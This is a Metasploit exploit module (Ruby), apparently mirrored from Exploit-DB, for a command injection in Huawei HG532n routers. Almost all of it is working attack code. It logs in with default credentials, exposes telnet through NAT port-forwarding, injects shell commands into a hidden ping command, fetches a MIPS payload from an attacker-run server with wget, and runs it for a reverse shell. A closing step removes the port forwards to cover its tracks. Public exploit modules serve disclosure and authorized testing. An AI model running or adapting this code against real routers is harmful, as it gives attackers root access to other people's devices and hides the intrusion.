Huawei HG532n – Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2017-04-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41895/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'base64'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(
    info,
    'Name'=> 'Huawei HG532n Command Injection',
    'Description' => %q(
    This module exploits a command injection vulnerability in the Huawei
    HG532n routers provided by TE-Data Egypt, leading to a root shell.
    
    The router's web interface has two kinds of logins, a "limited" user:user
    login given to all customers and an admin mode. The limited mode is used
    here to expose the router's telnet port to the outside world through NAT
    port-forwarding.
    
    With telnet now remotely accessible, the router's limited "ATP command
    line tool" (served over telnet) can be upgraded to a root shell through
    an injection into the ATP's hidden "ping" command.
    ),
    'Author' =>
    [
    'Ahmed S. Darwish <darwish.07@gmail.com>',# Vulnerability discovery, msf module
    ],
    'License'=> MSF_LICENSE,
    'Platform' => ['linux'],
    'Arch' => ARCH_MIPSBE,
    'Privileged' => true,
    'DefaultOptions' =>
    {
    'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
    },
    'Targets'=>
    [
    [
    'Linux mipsbe Payload',
    {
    'Arch' => ARCH_MIPSBE,
    'Platform' => 'linux'
    }
    ]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Apr 15 2017',
    'References' => [
    ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245']
    ]
    ))
    register_options(
    [
    OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
    OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
    OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
    OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
    OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
    OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
    OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
    ], self.class
    )
    end
    
    def check
    httpd_fingerprint = %r{
    \A
    HTTP\/1\.1\s200\sOK\r\n
    CACHE-CONTROL:\sno-cache\r\n
    Date:\s.*\r\n
    Connection:\sKeep-Alive\r\n
    Content-Type:\stext\/html\r\n
    Content-Length:\s\d+\r\n
    \r\n
    <html>\n<head>\n
    <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
    <META\shttp-equiv="Pragma"\scontent="no-cache">\n
    <META\shttp-equiv="expires"\sCONTENT="-1">\n
    <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
    }x
    
    begin
    res = send_request_raw(
    'method' => 'GET',
    'uri'=> '/'
    )
    rescue ::Rex::ConnectionError
    print_error("#{rhost}:#{rport} - Could not connect to device")
    return Exploit::CheckCode::Unknown
    end
    
    if res && res.code == 200 && res.to_s =~ httpd_fingerprint
    return Exploit::CheckCode::Appears
    end
    
    Exploit::CheckCode::Unknown
    end
    
    #
    # The Javascript code sends all passwords in the form:
    #form.setAction('/index/login.cgi');
    #form.addParameter('Username', Username.value);
    #form.addParameter('Password', base64encode(SHA256(Password.value)));
    # Do the same base64 encoding and SHA-256 hashing here.
    #
    def hash_password(password)
    sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
    Base64.encode64(sha256).gsub(/\s+/, "")
    end
    
    #
    # Without below cookies, which are also sent by the JS code, the
    # server will consider even correct HTTP requests invalid
    #
    def generate_web_cookie(admin: false, session: nil)
    if admin
    cookie ='FirstMenu=Admin_0; '
    cookie << 'SecondMenu=Admin_0_0; '
    cookie << 'ThirdMenu=Admin_0_0_0; '
    else
    cookie ='FirstMenu=User_2; '
    cookie << 'SecondMenu=User_2_1; '
    cookie << 'ThirdMenu=User_2_1_0; '
    end
    
    cookie << 'Language=en'
    cookie << "; #{session}" unless session.nil?
    cookie
    end
    
    #
    # Login to the router through its JS-based login page. Upon a successful
    # login, return the keep-alive HTTP session cookie
    #
    def web_login
    cookie = generate_web_cookie(admin: true)
    
    # On good passwords, the router redirect us to the /html/content.asp
    # homepage. Otherwise, it throws us back to the '/' login page. Thus
    # consider the ASP page our valid login marker
    invalid_login_marker = "var pageName = '/'"
    valid_login_marker = "var pageName = '/html/content.asp'"
    
    username = datastore['HttpUsername']
    password = datastore['HttpPassword']
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/index/login.cgi',
    'cookie'=> cookie,
    'vars_post' => {
    'Username' => username,
    'Password' => hash_password(password)
    }
    )
    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
    
    unless res.code == 200
    fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
    end
    
    return res.get_cookies if res.body.include? valid_login_marker
    
    if res.body.include? invalid_login_marker
    fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
    else
    fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
    end
    end
    
    #
    # The telnet port is filtered by default. Expose it to the outside world
    # through NAT forwarding
    #
    def expose_telnet_port(session_cookies)
    cookie = generate_web_cookie(session: session_cookies)
    
    external_telnet_port = rand(32767) + 32768
    
    portmapping_page = '/html/application/portmapping.asp'
    valid_port_export_marker = "var pageName = '#{portmapping_page}';"
    invalid_port_export_marker = /var ErrInfo = \d+/
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/html/application/addcfg.cgi',
    'cookie'=> cookie,
    'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
    'vars_get'=> {
    'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
    'RequestFile' => portmapping_page
    },
    'vars_post' => {
    'x.PortMappingProtocol'=> "TCP",
    'x.PortMappingEnabled' => "1",
    'x.RemoteHost' => "",
    'x.ExternalPort' => external_telnet_port.to_s,
    'x.ExternalPortEndRange' => external_telnet_port.to_s,
    'x.InternalClient' => "192.168.1.1",
    'x.InternalPort' => "23",
    'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
    }
    )
    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
    
    unless res.code == 200
    fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
    end
    
    if res.body.include? valid_port_export_marker
    print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
    return external_telnet_port
    end
    
    if res.body.match? invalid_port_export_marker
    fail_with(Failure::Unknown, "Router reported port-mapping error. " \
    "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
    end
    
    fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
    end
    
    #
    # Cover our tracks; don't leave the exposed router's telnet port open
    #
    def hide_exposed_telnet_port(session_cookies)
    cookie = generate_web_cookie(session: session_cookies)
    portmapping_page = '/html/application/portmapping.asp'
    
    # Gather a list of all existing ports forwarded so we can purge them soon
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' => portmapping_page,
    'cookie'=> cookie
    )
    
    unless res && res.code == 200
    print_warning "Could not get current forwarded ports from web interface"
    end
    
    # Collect existing port-forwarding keys; to be passed to the delete POST request
    portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
    vars_post = {}
    res.body.scan(portforward_key).uniq.each do |key|
    vars_post[key] = ""
    end
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/html/application/del.cgi',
    'cookie'=> cookie,
    'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
    'vars_get'=> { 'RequestFile' => portmapping_page },
    'vars_post' => vars_post
    )
    return if res && res.code == 200
    
    print_warning "Could not re-hide exposed telnet port"
    end
    
    #
    # Cleanup our state, after any successful web login. Note: router refuses
    # more than 3 concurrent logins from the same IP. It also forces a 1-minute
    # delay after 3 unsuccessful logins from _any_ IP.
    #
    def web_logout(session_cookies)
    cookie = generate_web_cookie(admin: true, session: session_cookies)
    
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => '/index/logout.cgi',
    'cookie'=> cookie,
    'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
    )
    return if res && res.code == 200
    
    print_warning "Could not logout from web interface. Future web logins may fail!"
    end
    
    #
    # Don't leave web sessions idle for too long (> 1 second). It triggers the
    # HTTP server's safety mechanisms and make it refuse further operations.
    #
    # Thus do all desired web operations in chunks: log in, do our stuff (passed
    # block), and immediately log out. The router's own javescript code handles
    # this by sending a refresh request every second.
    #
    def web_operation
    begin
    cookie = web_login
    yield cookie
    ensure
    web_logout(cookie) unless cookie.nil?
    end
    end
    
    #
    # Helper method. Used for waiting on telnet banners and prompts.
    # Always catch the ::Timeout::Error exception upon calling this.
    #
    def read_until(sock, timeout, marker)
    received = ''
    Timeout.timeout(timeout) do
    loop do
    r = (sock.get_once(-1, 1) || '')
    next if r.empty?
    
    received << r
    print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
    return received if received.include? marker
    end
    end
    end
    
    #
    # Borrowing constants from Ruby's Net::Telnet class (ruby license)
    #
    IAC =255.chr # "\377" # "\xff" # interpret as command
    DO=253.chr # "\375" # "\xfd" # please, you use option
    OPT_BINARY=0.chr # "\000" # "\x00" # Binary Transmission
    OPT_ECHO=1.chr # "\001" # "\x01" # Echo
    OPT_SGA =3.chr # "\003" # "\x03" # Suppress Go Ahead
    OPT_NAOFFD=13.chr# "\r" # "\x0d" # Output Formfeed Disposition
    
    def telnet_auth_negotiation(sock, timeout)
    begin
    read_until(sock, timeout, 'Password:')
    sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
    rescue ::Timeout::Error
    fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
    end
    
    begin
    read_until(sock, timeout, 'Password:') # Router bug
    sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
    rescue ::Timeout::Error
    fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
    end
    end
    
    def telnet_prompt_wait(error_regex = nil)
    begin
    result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
    if error_regex
    error_regex = [error_regex] unless error_regex.is_a? Array
    error_regex.each do |regex|
    if result.match? regex
    fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
    end
    end
    end
    rescue ::Timeout::Error
    fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
    end
    end
    
    #
    # Basic telnet login. Due to mixins conflict, revert to using plain
    # Rex sockets (thanks @hdm!)
    #
    def telnet_login(port)
    print_status "Connecting to just-exposed telnet port #{port}"
    
    @telnet_prompt = 'HG520b>'
    @telnet_timeout = 60
    
    @telnet_sock = Rex::Socket.create_tcp(
    'PeerHost' => rhost,
    'PeerPort' => port,
    'Context'=> { 'Msf' => framework, 'MsfExploit' => self },
    'Timeout'=> @telnet_timeout
    )
    if @telnet_sock.nil?
    fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
    end
    add_socket(@telnet_sock)
    
    print_good "Connection succeeded. Passing telnet credentials"
    telnet_auth_negotiation(@telnet_sock, @telnet_timeout)
    
    print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
    telnet_prompt_wait
    
    print_good 'Prompt received. Telnet access fully granted!'
    end
    
    def telnet_exit
    return if @telnet_sock.nil?
    @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
    end
    
    #
    # Router's limited ATP shell just reverts to classical Linux
    # shell when executing a ping:
    #
    # "ping %s > /var/res_ping"
    #
    # A successful injection would thus substitute all its spaces to
    # ${IFS}, and trails itself with ";true" so it can have its own
    # IO redirection.
    #
    def execute_command(command, error_regex = nil, background: false)
    print_status "Running command on target: #{command}"
    
    command.gsub!(/\s/, '${IFS}')
    separator = background ? '&' : ';'
    atp_cmd = "ping ?;#{command}#{separator}true"
    
    @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
    telnet_prompt_wait(error_regex)
    print_good "Command executed successfully"
    end
    
    #
    # Our own HTTP server, for serving the payload
    #
    def start_http_server
    @pl = generate_payload_exe
    
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
    resource_uri = '/' + downfile
    
    if datastore['DOWNHOST']
    print_status "Will not start local web server, as DOWNHOST is already defined"
    else
    print_status("Starting web server; hosting #{resource_uri}")
    start_service(
    'ServerHost' => '0.0.0.0',
    'Uri' => {
    'Proc' => proc { |cli, req| on_request_uri(cli, req) },
    'Path' => resource_uri
    }
    )
    end
    
    resource_uri
    end
    
    #
    # HTTP server incoming request callback
    #
    def on_request_uri(cli, _request)
    print_good "HTTP server received request. Sending payload to victim"
    send_response(cli, @pl)
    end
    
    #
    # Unfortunately we could not use the `echo' command stager since
    # the router's busybox echo does not understand the necessary
    # "-en" options. It outputs them to the binary instead.
    #
    # We could not also use the `wget' command stager, as Huawei
    # crafted their own implementation with much different params.
    #
    def download_and_run_payload(payload_uri)
    srv_host =
    if datastore['DOWNHOST']
    datastore['DOWNHOST']
    elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
    Rex::Socket.source_address(rhost)
    else
    datastore['SRVHOST']
    end
    
    srv_port = datastore['SRVPORT'].to_s
    output_file = "/tmp/#{rand_text_alpha_lower(8)}"
    
    # Check module documentation for the special wget syntax
    wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
    
    execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
    execute_command("chmod 700 #{output_file}", /No such file/)
    execute_command(output_file, /not found/, background: true)
    execute_command("rm #{output_file}", /No such file/)
    end
    
    #
    # At the end of the module, especially for reverse_tcp payloads, wait for
    # the payload to connect back to us.There's a very high probability we
    # will lose the payload's signal otherwise.
    #
    def wait_for_payload_session
    print_status "Waiting for the payload to connect back .."
    begin
    Timeout.timeout(datastore['ListenerTimeout']) do
    loop do
    break if session_created?
    Rex.sleep(0.25)
    end
    end
    rescue ::Timeout::Error
    fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
    end
    print_good "Payload connected!"
    end
    
    #
    # Main exploit code: login through web interface; port-forward router's
    # telnet; access telnet and gain root shell through command injection.
    #
    def exploit
    print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
    unless check == Exploit::CheckCode::Appears
    fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
    end
    
    print_good "Good. Router seems to be a vulnerable HG532n device"
    
    telnet_port = nil
    web_operation do |cookie|
    telnet_port = expose_telnet_port(cookie)
    end
    
    begin
    telnet_login(telnet_port)
    payload_uri = start_http_server
    download_and_run_payload(payload_uri)
    wait_for_payload_session
    ensure
    telnet_exit
    web_operation do |cookie|
    hide_exposed_telnet_port(cookie)
    end
    end
    end
    end